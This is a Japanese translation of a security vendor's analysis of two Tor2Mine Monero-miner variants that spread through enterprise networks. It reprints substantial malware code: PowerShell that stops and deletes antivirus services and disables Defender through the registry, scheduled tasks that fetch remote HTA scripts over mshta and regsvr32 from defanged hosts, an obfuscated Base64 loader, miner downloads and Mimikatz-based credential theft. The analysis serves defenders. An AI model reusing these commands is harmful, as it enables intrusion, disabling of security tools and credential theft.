** 本記事は、Two flavors of Tor2Mine miner dig deep into networks with PowerShell, VBScript の翻訳です。最新の情報は英語記事をご覧ください。**
最近数か月の間、広く普及しているエンタープライズサーバーソフトウェアの最新の脆弱性を利用した、暗号通貨マイニング攻撃が非常に多く確認されました。利用される脆弱性はオンプレミスの Microsoft Exchange サーバーや VMware vCenter を標的とした ProxyShell/ProxyLogon などです。通常、これらの攻撃の範囲は限定されています。
しかし最近、攻撃の範囲を拡大したマイナーの亜種が登場しました。この亜種は、(マイニングの際のコマンドアンドコントロール (C2) サーバーとの通信に特定の Tor ゲートウェイが使用されているため) これまで研究者の間では「Tor2Mine」と呼ばれていたものです。このマイナーを用いて行われる攻撃は Monero をマイニングするもので、稼働中のマシンによるネットワーク全体を活用するように設定されたマイナーである XMRigCC をベースとしています。攻撃者は常にセキュリティ保護を回避し、感染したネットワーク上で攻撃を続けるための新たな方法を模索しており、攻撃は進化を続けています。
Tor2Mine はマルウェア保護を無効にし、マイナーのペイロードを実行した上で Windows の認証情報を取得しようとする PowerShell スクリプトを使用します。マイナーは取得した認証情報を利用して自己増殖し、自身が完全に消去されておらず、マルウェア保護が無効化されている限り侵入先のネットワーク上の他のシステムに再感染し続けます。
管理者権限を取得したシステム上では、Tor2Mine は実行ファイルをサービスとしてインストールします。インストールされた後は、ネットワーク上でインストールスクリプトをリモートで実行できる他のマシンを探し出し、拡散していきます。
管理者権限を取得できないシステム上では、スケジュールタスクとして実行されるコマンドを介してファイルレスで Tor2Mine が実行されます。ソフォスのテレメトリでは、2021 年初頭に Tor2Mine (Mal/MineJob ファミリとして検出されます) の検出数が急増しました。それ以降、全体としては減少しているものの、新たな亜種の登場が確認されています。
6 月以降、ソフォスのテレメトリでは、Tor2Mine の亜種のうち 2 種類が繰り返し確認されています。これらの亜種に共通する特定の構造が確認されている一方で、VirusTotal で公開されている、同時期に発見された他のサンプルとの間には微細な違いが見られます。このことは、複数の攻撃者が攻撃に微調整を加えたこと、あるいは同一の攻撃者が攻撃ごとに微調整を加えたことを示唆しています。しかし、基本的な攻撃の仕組みはほぼ同じです。攻撃者は、リモートコード実行 (RCE) を可能にする脆弱性を悪用して PowerShell スクリプトを起動し、マルウェア保護を停止してネットワークに侵入しようとします。
どちらの亜種の PowerShell スクリプトもマルウェア保護を停止するため、インストールされている製品を Windows のレジストリで検索し、サービスを停止させるコマンドを送信します。どちらのスクリプトも、C2 サーバーから追加のスクリプト (PowerShell および VBScript) を取得し、攻撃の調査を妨げようとします。また、どちらも同一のマイナーコードをインストールし、標的システムのプロセッサと OS のバージョンを検出して、インストールするマイナーのバージョン (32 ビット版もしくは 64 ビット版) を決定します。
これらの亜種には 2 種類の基本的な型があります。一方は実行時にシステムレベルの権限があることを前提に、その権限を利用して自らを拡散する型です。もう一方は、どの程度の権限が利用できるかを確認してから拡散する型です。
アクセス権限の現金化
最初に確認された Tor2Mine の亜種は、攻撃者が初期アクセスを通じてシステムレベルまたは管理者レベルの権限を獲得した後に展開されます。最初の数行で標的マシンのプロセッサのアーキテクチャを確認し、スクリプトの残りの部分の変数を設定します。
$arch = Get-WmiObject Win32_Processor Select-Object -Exp AddressWidth $WebClient = New-Object System.Net.WebClient $WarningPreference = "SilentlyContinue" $erroractionpreference = "SilentlyContinue" $LogCommandLifeCycleEvent = $false $tskPath="C:\Windows\System32\Tasks" if((test-path "$tskPath\Microsoft\Windows\WDI\UPDShell") -eq $true) { cmd /c SCHTASKS /delete /tn \Microsoft\Windows\WDI\UPDShell /f out-null
この亜種は、MalwareBytes や Sophos 製品、あるいは Windows Defender などのマルウェア保護機能を停止しようとします。(この動作は、Intercept X では AMSI による動的検出と改ざん防止機能によってブロックされます。)
if((Get-Service where-object {$_.Name -eq "MBAMService"}) -ne $null) { C:\Windows\System32\cmd.exe /c sc stop MBAMService C:\Windows\System32\cmd.exe /c sc delete MBAMService C:\Windows\System32\cmd.exe /c sc stop MBAMProtection C:\Windows\System32\cmd.exe /c sc delete MBAMProtection where-object {$_.DisplayName -like "*Sophos*"}) -ne $null) get-service where-object {$_.DiplayName -like "*Sophos*"} foreach {cmd /c sc stop $_.Name} cmd /c sc stop WinDefend cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f cmd /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
次に、別のスクリプトをダウンロードするスクリプトをインストールします。ダウンロードされるのは、標的に効率良くマイニングをさせるためのスクリプトです。インストールが終わると、以前インストールされた制御スクリプトを探し出して削除したあと、リモートスクリプトを (その時点よりも前にインストールされたものを削除した上で) ドロップします。
if((test-path "C:\Windows\del.bat") -eq $true) { rm C:\Windows\del.bat -force if($(test-file "C:\Windows\del.ps1") -eq $true) { rm "C:\Windows\del.ps1" -force $WebClient.DownloadFile("hxxp://107[.]181.187.132/ps1/del.ps1","C:\Windows\Fonts\del.ps1") New-service -name "MalwareDel" -DisplayName "Microsoft Security Essentials" -StartupType Automatic -BinaryPathName "powershell -exec bypass -e QwA6AFwAVwBpAG4AZABvAHcAcwBcAEYAbwBuAHQAcwBcAGQAZQBsAC4AcABzADEA" -Description "Microsoft Antivirus Core Service" -ErrorAction Stop } catch {} cmd /c schtasks /create /tn \Microsoft\Windows\SetUpd /sc HOURLY /f /mo 1 /tr "powershell -exec bypass -e QwA6AFwAVwBpAG4AZABvAHcAcwBcAEYAbwBuAHQAcwBcAGQAZQBsAC4AcABzADEA" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST Start-Sleep 1
ドロップされるスクリプト (および Tor2Mine に関連するその他のスクリプト) は、大部分がリモートソースから読み込まれるか自己消滅するため、標的のマシンには残りません。そこで、ソフォスは VirusTotal で公開されているいくつかのサンプルを調査しました。 エンコードされたコマンドは del.ps1 というスクリプトとしてダウンロードされ、「MalwareDel」というサービスとしてインスタンス化されます。このサービスは名前通り、いわゆる「マルウェア」(システムにインストールされている可能性のある他のマイナー) を削除します。
del.ps1 と名付けられたスクリプトは高度に難読化されており、実際の中身は Base64 エンコードされた圧縮テキスト文字列に埋め込まれています。
iEX(neW-OBJEcT Io.coMPrESsION.DEFlatEstrEAM( [io.memoRysTReAM][SYstem.CONVerT]::fRoMbAsE64STrInG( 'fVpbU+NIsn7Gv0IPG4M9YLflu/vEPtBgpqGhm8X0zM4hiA4hy1ggS25J5rIs//3kl5VZJQN9YgarVJWVlfdLqVt17x/R1z8/7n9bTs +i/cvert/f7fSvmrffjtLt7YZX9+rb9fpgtv/s9/ovz73Oy7M/9F+eu/Tij9v0Mxi8PI/oz+/Tz3BIML2X5zE9/TZWAOLTTGf08jzgF 2AAPFB1e0AzfnnmFQLZ3tnudbFIAzz7DECICWDcpkkaAhPW2vhhnEOC6tKRoJBQM9YO7Rr0eIc/ZGoH/ DLAue2OWRj45gkGaOT3QPdgjIOxpQOEOB1/RDidjKP8Pp3MUMweHThmNF1CTQg69Oi0aWWIo0YMx2yASmBlzulnDDEAt9+ mHxDcaWPN774QPgIENX06dITZ3gjbcGCXIIHM95lImhoR3g5hI7gugXX4GEiaqaXBEDMsRJYcwXRpFudDYKwPKGSMM4DIH/ mghn4giDF4xEYQMuobWXUIdw/ktAEBCgddkapIlyd9SITewUuP8MCMwDJNAb0/AInA6dOxfax0DXS/ LdhorU+Y2BS65myGZYw8id19lhF46INyYg7YfRBIE9A9eINhggp/hLcBi5TtDNYCNARPKGEwEDVE5+ Og3oiJwdnAD6WyTtv0A2uAlljgXRj9kCHhEHj1IfMOq2okZtY2CiY4yJmsDq9jthSaAlXsJ9ClD5+Ckw3A74htHqMuc8F+hh/ W3JB/mB8iHgryYb7+mEWBUU/8CiJmR2i/kHM35+ffg2PPT5L4S234hRaP7/OouCuCcvjFzR+ntBIs73N6RAVWaNsuvZx/ x0JRpLfBp053GdFbiSX6686KqDaXl6C7Mw+6QYQ52h49Rq2yyD6H99PTKW0tHgRu7nl/dEGj9wKw5Vw2pjLIIwEs8uhP0EHEzmpD2sC0 % {neW-OBJEcT Io.sTREamreadeR($_, [SyStem.text.ENCodiNG]::aScIi) }).rEadtOeNd( )
この文字列を解凍すると様々なプロセスやサービス、タスクを強制終了させる 116 行のスクリプトになります。停止されるタスクのほとんどが、別の種類の暗号通貨マイナーやウォレットのアドレスを盗む「クリッパー」マルウェアなどの他のクライムウェアです。
次に、メインのドロッパースクリプトは、一連のリモート VBScript スクリプトをスケジュールタスクとして構成します。
cmd /c SCHTASKS /create /tn \Microsoft\Windows\WDI\UPD /sc HOURLY /f /mo 5 /tr "cmd /c mshta hxxp://eu1[.]minerpool.pw/upd.hta" /ru "NT AUTHORITY\SYSTEM" cmd /c SCHTASKS /create /tn "\Microsoft\Windows Defender\ScannerSchduler" /sc DAILY /f /mo 1 /tr "cmd /c mshta hxxp://res1.myrms.pw/upd.hta" /ru "NT AUTHORITY\SYSTEM" cmd /c SCHTASKS /create /tn "\Microsoft\Windows\Diagnosis\ScheduledDiagnosis" /sc DAILY /f /mo 2 /tr "cmd /c mshta hxxps://qm7gmtaagejolddt.onion.to/check.hta" /ru "NT AUTHORITY\SYSTEM" /RL HIGHEST
これらのリモートスクリプトには共通の特徴があり、実行すると、画面外に素早く移動してサイズが 0 になるウィンドウをポップアップします。これらのスクリプトのうち 2 件 (どちらも upd.hta と名付けられています) は同一のコードの変種であり、追加のスクリプトをダウンロードします。
check.hta と名付けられたもう 1件のスクリプトは、Tor ゲートウェイの Web サイトを介して取得されます。このスクリプトはメインのドロッパースクリプトの一種であり、マイナーを再配置する check1.ps1 という別の PowerShell スクリプトをダウンロードします。さらに、check.hta は一時フォルダ (%TEMP%\2b47.tmp\2b87.tmp\2b90.vbs など) に書き込まれた VBScript ファイルを作成・実行する v1.exe を展開します。上記の手順は、Tor2Mine がネットワーク上で拡散する際に用いる仕組み (後述) と同様のものです。
メインスクリプトは、PowerShell コマンドを実行するためのスケジュールタスクも作成します。
cmd /c schtasks /create /tn \Microsoft\Windows\Multimedia\SystemVideoService /tr "cmd /c powershell -nop -noni -w 1 -enc cgBlAGcAcwB2AHIAMwAyACAALwB1ACAALwBzACAALwBpADoAaAB0AHQAcAA6AC8ALwAxADAANwAuADEAOAAxAC4AMQA4ADcALgAxADMAMgAvAHAAaABwAC8AZgB1AG4AYwAuAHAAaABwACAAcwBjAHIAbwBiAGoALgBkAGwAbAA=" sc daily /mo 2 /f /ru SYSTEM/
上記の PowerShell コマンドをデコードすると、Windows の regsvr32.exe を悪用して、スクリプトオブジェクトのダイナミックリンクライブラリ (DLL) を使用してリモートスクリプトを毎日実行するものであることがわかります。
regsvr32 /u /s /i:hxxp://83[.]97.20.83/win/php/func.php scrobj.dll
このスクリプトは、オリジナルの C2 サーバーがブロックされた場合に備えて、予備の C2 サーバーから取得される別のリモート VBScript です。
メインスクリプトは、多くのスケジュールタスクをチェックして、終了させます。そのほとんどが、マイナーの実行ファイルやその他の悪意のあるタスクやサービスに関連した名前を持つタスクです。タスクを終了させると、実際のマイナー (この例では C:\Windows\services.exe という名前でした) をダウンロードします。ダウンロードを終えると、スクリプトは services.exe の権限を設定して「world」グループ (すべてのユーザー) に許可を与え、同一の名称を持つファイルを削除した後、プロセッサに適したバージョンのマイナーを services.exe としてドロップし、「WinSockets」というタスク名を与えます。
cmd /c attrib -s -h C:\Windows\services.exe cmd /c icacls "C:\Windows\services.exe" /grant *S-1-1-0:F cmd /c wmic process where ExecutablePath='C:\\Windows\\services.exe' delete stop-process $((gwmi win32_process where-object {$_.ExecutablePath -eq "C:\Windows\services.exe"}).ProcessID) -force get-process where-object {$_.Path -like "C:\Windows\services.exe"} stop-process -force rm C:\Windows\services.exe -force IF ($arch -eq "64") $WebClient.DownloadFile("hxxp://107[.]181.187.132/test/64.exe","C:\Windows\services.exe") $WebClient.DownloadFile("hxxp://107[.]181.187.132/test/32.exe","C:\Windows\services.exe") cmd /c schtasks /create /TN \Microsoft\Windows\Ras\WinSockets /TR "c:\windows\services.exe" /ST 00:00 /SC once /DU 599940 /RI 1 /F /RL HIGHEST /RU SYSTEM cmd /c schtasks /TN \Microsoft\Windows\Ras\WinSockets /run cmd /c SCHTASKS /create /tn \Microsoft\Windows\UPnP\UPnPHostSearch /sc minute /f /mo 1 /tr "cmd /c schtasks /run /TN \Microsoft\Windows\Ras\WinSockets" /RL HIGHEST /ru "NT AUTHORITY\SYSTEM" cmd /c SCHTASKS /tn \Microsoft\Windows\UPnP\UPnPHostSearch /run stop-process -name "mshta" -force cmd /c schtasks /tn \Microsoft\Windows\SetUpd /run
最後に、mshta.exe に関連するプロセスを強制的に終了させることで実行中の Windows スクリプトをすべて消去し、リモートアップデータスクリプトに関連するタスクを起動します。
権限の確認
最近発見された、もう一種類の Tor2Web の亜種も同様に動作しますが、開発者がスクリプトをよりメンテナンスしやすくするためか、いくつかの関数に分割されています。まず、 $priv という変数を設定して、実行されるアクティブユーザーが管理者であるかどうかを判断し、$osver という変数で OS のバージョンチェックを行います。
$W = New-Object System.Net.WebClient $arch = Get-WmiObject Win32_Processor | Select-Object -Exp AddressWidth $priv = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") $osver = ([environment]::OSVersion.Version).Major $WarningPreference = "SilentlyContinue" $erroractionpreference = "SilentlyContinue" [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
このバージョンでは、定義済みの関数を使用してスクリプトの一部を再利用し、$priv の bool 値を使用してスクリプトの動作手順を定義します。
IF ($priv -eq $true) { StopAV PrivTrueMStop start-sleep 1 PrivTrue CleanerEtc #mimi } else { PrivFalsemStop start-sleep 1 PrivFalse CleanerNoPriv } get-process -name "mshta" -ErrorAction SilentlyContinue | ForEach-Object { stop-process -id $_.Id }
上記のスクリプトでコメントアウトされているのは「mimi」関数で、認証情報収集ツール Mimikatz の PowerShell バージョン (kallen.ps1) を実行します。この機能は、checking.ps1、この亜種に対応する check1.ps1 スクリプト、およびこの亜種の他のいくつかの変種においては無効化されていません。
スクリプトが管理者権限で実行される場合と非管理者として実行される場合の手順には、2 点の大きな違いがあります。1 点目は、管理者権限で実行される際は、スクリプトがアンチウイルスプロセスの停止を試みる一方、スクリプトが管理者権限を所持していない場合にはこの動作が省かれることです。
2 点目は、この亜種のメインスクリプトが管理者権限で実行されている場合は、マイナーを「java.exe」として「Oracle」フォルダにインストールすることです。システムが 64 ビット版の Windows を実行している場合、このスクリプトはシステムのグラフィックアダプターを利用するためのドライバもインストールします。
Function PrivTrue() { if ((test-path C:\ProgramData\Oracle\Java) -eq $false) { # mkdir C:\ProgramData\Oracle | out-null # mkdir C:\ProgramData\Oracle\Java | out-null New-Item "C:\ProgramData\Oracle\Java" -ItemType Directory | out-null } IF ($arch -eq "64") { $W.DownloadFile("hxxp://83[.]97.20.81/win/min/64.exe", "C:\ProgramData\Oracle\Java\java.exe") } ELSE { $W.DownloadFile("hxxp://83[.]97.20.81/win/min/32.exe", "C:\ProgramData\Oracle\Java\java.exe") } if ( (!$(test-path "C:\Windows\System32\WinRing0x64.sys")) -and ($arch -eq "64") ) { $W.DownloadFile("hxxps://83[.]97.20.81/win/deps/rx.exe", "C:\Windows\System32\WinRing0x64.sys") }
これらの実行ファイルのダウンロードに使用されたホストが、今回確認した最初の亜種の 予備の C2 サーバーと同じサブネット内にあったことは、おそらく偶然ではないでしょう。どちらもルーマニアの同じプロバイダによってホストされていました。
一方、メインスクリプトが管理者レベルの権限なしに実行された場合は、まったく異なる手順を踏みます。最初に確認された亜種と同様にいくつかのスケジュールタスクが設定され、そのうちの 1 つが checking.ps1 を実行しますが、実行のためのスクリプトはローカルには保存されず、C2 サーバーからダウンロードされます。
このスクリプトは、PrivFalse.bat というバッチファイルをスケジュールタスクとして書き込んで実行します。また、Mimikatz リモートスクリプトを実行し、管理者権限を得るための認証情報を取得しようとしたり、標的組織のネットワーク全体に拡散しようとしたりします。
マイニングファームの拡大とマイニング競争
どちらの亜種も、マイナーの展開を「確認」する段階で、展開範囲を拡大することを目的としてスクリプトがインストールされます。最初の亜種は、WScript と Windows Management Instrumentation を使用して、ネットワーク上で検出されたシステムにおいて繰り返し展開され、マイナーをさらに拡散させます。
インストールされるスクリプトは、他のコンピュータのシステム情報を収集するために使用され、OS のバージョンを検出します。
Function OSType() strComputer = "." Dim objWMI, objItem, colItems Dim OSVersion, OSName, ProductType Set objWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2") Set colItems = objWMI.ExecQuery("Select * from Win32_OperatingSystem",,48) For Each objItem in colItems OSVersion = Left(objItem.Version,3) ProductType = objItem.ProductType Next ...
さらに、上記のスクリプトにより OS のバージョン情報が参照され、インストールするマイナーのバージョンが決定されます。古いバージョンのマイナーを削除し、標的の各マシンにマイナーとリモートの「確認」スクリプトのコピーをスケジュールタスクとして新しくインストールします。
もう一方の亜種は、Mimikatz を使って認証情報を収集します。この亜種は ichigo-lite.ps1 と名付けられたスクリプトを使ってネットワーク上の利用可能な IP アドレスをスキャンし、スクリプトが実行されるマシンのメモリ上に認証情報の表を作成し、Invoke-Command コマンドレットを使用して発見した IP アドレス上でスクリプトをリモートで実行して感染を拡大させます。
暗号通貨ファームの「密告者」
最近発見された他の多くのマイナーと同様、Tor2Mine もほとんどの場合、より危険なネットワーク侵入の脆弱性が存在する兆候です。Tor2Mine は、サーバーに既知の脆弱性があるネットワークを悪用して侵入します。この脆弱性は、インターネットからネットワークスキャンを行い、その痕跡を探すことで容易に検出できます。マイナーのインストールは、サイバー犯罪者が脆弱性をデジタル資産に換金する、リスクの小さい方法です。この手法で得たキャッシュフローに対する最大のリスクは、自分が侵入した脆弱なサーバーが他の競合するマイナーに発見されることです。しかし、最近の他の事例に見られるように、マイナーの拡散を許してしまう脆弱性が、データや認証情報の窃取、あるいはランサムウェアの実行に繋がることがあります。
他のマイナーとは異なり、Tor2Mine は一度ネットワーク上に地盤を固められてしまうと、エンドポイント保護ソフトウェアやその他のマルウェア対策を用いずに根絶することが非常に困難です。Tor2Mine は最初に侵害された地点から水平方向に広がっていくため、1 つのシステムにパッチを当てたり、クリーニングしたりするだけでは排除できません。マイナーの C2 サーバーがブロックされたりオフラインになったりした後も、マイナーはネットワーク上の他のシステムへの再感染を継続的に試みます。
インターネットに接続されているシステム (Web アプリケーション、VPN サービス、電子メールサーバーなど) のソフトウェアの脆弱性に迅速にパッチを適用している組織は、暗号通貨マイナーの被害に遭う可能性が低くなります。また、暗号通貨マイナーは、マルウェア対策製品 (特に、Windows のマルウェア対策ソフトウェアインターフェイスを利用することでマルウェアからの保護を停止させるスクリプトを検出するもの) で簡単に検出することができます。ソフォス製品は、Tor2Mine の亜種を MineJob ファミリ (MineJob-A から MineJob-E) として検出し、それぞれの亜種のスクリプトの動作を検出します。本記事で取り上げた Tor2Mine の亜種のセキュリティ侵害の痕跡 (IoC) は、SophosLabs の GitHub ページで公開されています。